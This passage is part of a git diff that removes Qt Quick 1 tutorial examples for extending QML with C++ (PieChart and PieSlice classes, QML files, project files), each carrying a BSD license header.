-** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#include "piechart.h" -#include -#include - -PieChart::PieChart(QDeclarativeItem *parent) - : QDeclarativeItem(parent) -{ - // need to disable this flag to draw inside a QDeclarativeItem - setFlag(QGraphicsItem::ItemHasNoContents, false); -} - -QString PieChart::name() const -{ - return m_name; -} - -void PieChart::setName(const QString &name) -{ - m_name = name; -} - -QColor PieChart::color() const -{ - return m_color; -} - -void PieChart::setColor(const QColor &color) -{ - m_color = color; -} - -void PieChart::paint(QPainter *painter, const QStyleOptionGraphicsItem *, QWidget *) -{ - QPen pen(m_color, 2); - painter->setPen(pen); - painter->setRenderHints(QPainter::Antialiasing, true); - painter->drawPie(boundingRect(), 90 * 16, 290 * 16); -} - -//![0] -void PieChart::clearChart() -{ - setColor(QColor(Qt::transparent)); - update(); - - emit chartCleared(); -} -//![0] diff --git a/examples/declarative/qtquick1/tutorials/extending/chapter2-methods/piechart.h b/examples/declarative/qtquick1/tutorials/extending/chapter2-methods/piechart.h deleted file mode 100644 index ff8bef5fda..0000000000 --- a/examples/declarative/qtquick1/tutorials/extending/chapter2-methods/piechart.h +++ /dev/null @@ -1,84 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#ifndef PIECHART_H -#define PIECHART_H - -#include -#include - -//![0] -class PieChart : public QDeclarativeItem -{ -//![0] - Q_OBJECT - Q_PROPERTY(QString name READ name WRITE setName) - Q_PROPERTY(QColor color READ color WRITE setColor) - -//![1] -public: -//![1] - - PieChart(QDeclarativeItem *parent = 0); - - QString name() const; - void setName(const QString &name); - - QColor color() const; - void setColor(const QColor &color); - - void paint(QPainter *painter, const QStyleOptionGraphicsItem *option, QWidget *widget = 0); - -//![2] - Q_INVOKABLE void clearChart(); - -signals: - void chartCleared(); -//![2] - -private: - QString m_name; - QColor m_color; - -//![3] -}; -//![3] - -#endif - diff --git a/examples/declarative/qtquick1/tutorials/extending/chapter3-bindings/app.qml b/examples/declarative/qtquick1/tutorials/extending/chapter3-bindings/app.qml deleted file mode 100644 index c3de26acf1..0000000000 --- a/examples/declarative/qtquick1/tutorials/extending/chapter3-bindings/app.qml +++ /dev/null @@ -1,74 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -//![0] -import Charts 1.0 -import QtQuick 1.0 - -Item { - width: 300; height: 200 - - Row { - anchors.centerIn: parent - spacing: 20 - - PieChart { - id: chartA - width: 100; height: 100 - color: "red" - } - - PieChart { - id: chartB - width: 100; height: 100 - color: chartA.color - } - } - - MouseArea { - anchors.fill: parent - onClicked: { chartA.color = "blue" } - } - - Text { - anchors { bottom: parent.bottom; horizontalCenter: parent.horizontalCenter; bottomMargin: 20 } - text: "Click anywhere to change the chart color" - } -} -//![0] diff --git a/examples/declarative/qtquick1/tutorials/extending/chapter3-bindings/chapter3-bindings.pro b/examples/declarative/qtquick1/tutorials/extending/chapter3-bindings/chapter3-bindings.pro deleted file mode 100644 index 77cc4cdfca..0000000000 --- a/examples/declarative/qtquick1/tutorials/extending/chapter3-bindings/chapter3-bindings.pro +++ /dev/null @@ -1,5 +0,0 @@ -QT += declarative qtquick1 - -HEADERS += piechart.h -SOURCES += piechart.cpp \ - main.cpp diff --git a/examples/declarative/qtquick1/tutorials/extending/chapter3-bindings/main.cpp b/examples/declarative/qtquick1/tutorials/extending/chapter3-bindings/main.cpp deleted file mode 100644 index 3abfc91e54..0000000000 --- a/examples/declarative/qtquick1/tutorials/extending/chapter3-bindings/main.cpp +++ /dev/null @@ -1,56 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -//![0] -#include "piechart.h" -#include -#include - -int main(int argc, char *argv[]) -{ - QApplication app(argc, argv); - - qmlRegisterType("Charts", 1, 0, "PieChart"); - - QDeclarativeView view; - view.setSource(QUrl::fromLocalFile("app.qml")); - view.show(); - return app.exec(); -} -//![0] diff --git a/examples/declarative/qtquick1/tutorials/extending/chapter3-bindings/piechart.cpp b/examples/declarative/qtquick1/tutorials/extending/chapter3-bindings/piechart.cpp deleted file mode 100644 index 86d04b6d23..0000000000 --- a/examples/declarative/qtquick1/tutorials/extending/chapter3-bindings/piechart.cpp +++ /dev/null @@ -1,89 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#include "piechart.h" -#include -#include - -PieChart::PieChart(QDeclarativeItem *parent) - : QDeclarativeItem(parent) -{ - // need to disable this flag to draw inside a QDeclarativeItem - setFlag(QGraphicsItem::ItemHasNoContents, false); -} - -QString PieChart::name() const -{ - return m_name; -} - -void PieChart::setName(const QString &name) -{ - m_name = name; -} - -QColor PieChart::color() const -{ - return m_color; -} - -//![0] -void PieChart::setColor(const QColor &color) -{ - if (color != m_color) { - m_color = color; - update(); // repaint with the new color - emit colorChanged(); - } -} -//![0] - -void PieChart::paint(QPainter *painter, const QStyleOptionGraphicsItem *, QWidget *) -{ - QPen pen(m_color, 2); - painter->setPen(pen); - painter->setRenderHints(QPainter::Antialiasing, true); - painter->drawPie(boundingRect(), 90 * 16, 290 * 16); -} - -void PieChart::clearChart() -{ - setColor(QColor(Qt::transparent)); - update(); -} diff --git a/examples/declarative/qtquick1/tutorials/extending/chapter3-bindings/piechart.h b/examples/declarative/qtquick1/tutorials/extending/chapter3-bindings/piechart.h deleted file mode 100644 index 89eb07415b..0000000000 --- a/examples/declarative/qtquick1/tutorials/extending/chapter3-bindings/piechart.h +++ /dev/null @@ -1,84 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#ifndef PIECHART_H -#define PIECHART_H - -#include -#include - -//![0] -class PieChart : public QDeclarativeItem -{ -//![0] - Q_OBJECT - Q_PROPERTY(QString name READ name WRITE setName) - -//![1] - Q_PROPERTY(QColor color READ color WRITE setColor NOTIFY colorChanged) -public: -//![1] - - PieChart(QDeclarativeItem *parent = 0); - - QString name() const; - void setName(const QString &name); - - QColor color() const; - void setColor(const QColor &color); - - void paint(QPainter *painter, const QStyleOptionGraphicsItem *option, QWidget *widget = 0); - - Q_INVOKABLE void clearChart(); - -//![2] -signals: - void colorChanged(); -//![2] - -private: - QString m_name; - QColor m_color; - -//![3] -}; -//![3] - -#endif - diff --git a/examples/declarative/qtquick1/tutorials/extending/chapter4-customPropertyTypes/app.qml b/examples/declarative/qtquick1/tutorials/extending/chapter4-customPropertyTypes/app.qml deleted file mode 100644 index 1615a60473..0000000000 --- a/examples/declarative/qtquick1/tutorials/extending/chapter4-customPropertyTypes/app.qml +++ /dev/null @@ -1,60 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -//![0] -import Charts 1.0 -import QtQuick 1.0 - -Item { - width: 300; height: 200 - - PieChart { - id: chart - anchors.centerIn: parent - width: 100; height: 100 - - pieSlice: PieSlice { - anchors.fill: parent - color: "red" - } - } - - Component.onCompleted: console.log("The pie is colored " + chart.pieSlice.color) -} -//![0] diff --git a/examples/declarative/qtquick1/tutorials/extending/chapter4-customPropertyTypes/chapter4-customPropertyTypes.pro b/examples/declarative/qtquick1/tutorials/extending/chapter4-customPropertyTypes/chapter4-customPropertyTypes.pro deleted file mode 100644 index f5dc31a3db..0000000000 --- a/examples/declarative/qtquick1/tutorials/extending/chapter4-customPropertyTypes/chapter4-customPropertyTypes.pro +++ /dev/null @@ -1,7 +0,0 @@ -QT += declarative qtquick1 - -HEADERS += piechart.h \ - pieslice.h -SOURCES += piechart.cpp \ - pieslice.cpp \ - main.cpp diff --git a/examples/declarative/qtquick1/tutorials/extending/chapter4-customPropertyTypes/main.cpp b/examples/declarative/qtquick1/tutorials/extending/chapter4-customPropertyTypes/main.cpp deleted file mode 100644 index 7822bab04f..0000000000 --- a/examples/declarative/qtquick1/tutorials/extending/chapter4-customPropertyTypes/main.cpp +++ /dev/null @@ -1,65 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#include "piechart.h" -#include "pieslice.h" - -#include -#include - -//![0] -int main(int argc, char *argv[]) -{ -//![0] - QApplication app(argc, argv); - - qmlRegisterType("Charts", 1, 0, "PieChart"); - -//![1] - qmlRegisterType("Charts", 1, 0, "PieSlice"); -//![1] - - QDeclarativeView view; - view.setSource(QUrl::fromLocalFile("app.qml")); - view.show(); - return app.exec(); - -//![2] -} -//![2] diff --git a/examples/declarative/qtquick1/tutorials/extending/chapter4-customPropertyTypes/piechart.cpp b/examples/declarative/qtquick1/tutorials/extending/chapter4-customPropertyTypes/piechart.cpp deleted file mode 100644 index 3c8b2df752..0000000000 --- a/examples/declarative/qtquick1/tutorials/extending/chapter4-customPropertyTypes/piechart.cpp +++ /dev/null @@ -1,72 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#include "piechart.h" -#include "pieslice.h" - -PieChart::PieChart(QDeclarativeItem *parent) - : QDeclarativeItem(parent) -{ - // this doesn't need to disable QGraphicsItem::ItemHasNoContents - // anymore since the drawing is now done in PieSlice -} - -QString PieChart::name() const -{ - return m_name; -} - -void PieChart::setName(const QString &name) -{ - m_name = name; -} - -PieSlice *PieChart::pieSlice() const -{ - return m_pieSlice; -} - -//![0] -void PieChart::setPieSlice(PieSlice *pieSlice) -{ - m_pieSlice = pieSlice; - pieSlice->setParentItem(this); -} -//![0] - diff --git a/examples/declarative/qtquick1/tutorials/extending/chapter4-customPropertyTypes/piechart.h b/examples/declarative/qtquick1/tutorials/extending/chapter4-customPropertyTypes/piechart.h deleted file mode 100644 index 1c8b930c65..0000000000 --- a/examples/declarative/qtquick1/tutorials/extending/chapter4-customPropertyTypes/piechart.h +++ /dev/null @@ -1,78 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#ifndef PIECHART_H -#define PIECHART_H - -#include - -class PieSlice; - -//![0] -class PieChart : public QDeclarativeItem -{ - Q_OBJECT - Q_PROPERTY(PieSlice* pieSlice READ pieSlice WRITE setPieSlice) -//![0] - Q_PROPERTY(QString name READ name WRITE setName) - -//![1] -public: -//![1] - - PieChart(QDeclarativeItem *parent = 0); - - QString name() const; - void setName(const QString &name); - -//![2] - PieSlice *pieSlice() const; - void setPieSlice(PieSlice *pieSlice); -//![2] - -private: - QString m_name; - PieSlice *m_pieSlice; - -//![3] -}; -//![3] - -#endif - diff --git a/examples/declarative/qtquick1/tutorials/extending/chapter4-customPropertyTypes/pieslice.cpp b/examples/declarative/qtquick1/tutorials/extending/chapter4-customPropertyTypes/pieslice.cpp deleted file mode 100644 index d042c01bb7..0000000000 --- a/examples/declarative/qtquick1/tutorials/extending/chapter4-customPropertyTypes/pieslice.cpp +++ /dev/null @@ -1,68 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#include "pieslice.h" - -#include - -PieSlice::PieSlice(QDeclarativeItem *parent) - : QDeclarativeItem(parent) -{ - // need to disable this flag to draw inside a QDeclarativeItem - setFlag(QGraphicsItem::ItemHasNoContents, false); -} - -QColor PieSlice::color() const -{ - return m_color; -} - -void PieSlice::setColor(const QColor &color) -{ - m_color = color; -} - -void PieSlice::paint(QPainter *painter, const QStyleOptionGraphicsItem *, QWidget *) -{ - QPen pen(m_color, 2); - painter->setPen(pen); - painter->setRenderHints(QPainter::Antialiasing, true); - painter->drawPie(boundingRect(), 90 * 16, 290 * 16); -} - diff --git a/examples/declarative/qtquick1/tutorials/extending/chapter4-customPropertyTypes/pieslice.h b/examples/declarative/qtquick1/tutorials/extending/chapter4-customPropertyTypes/pieslice.h deleted file mode 100644 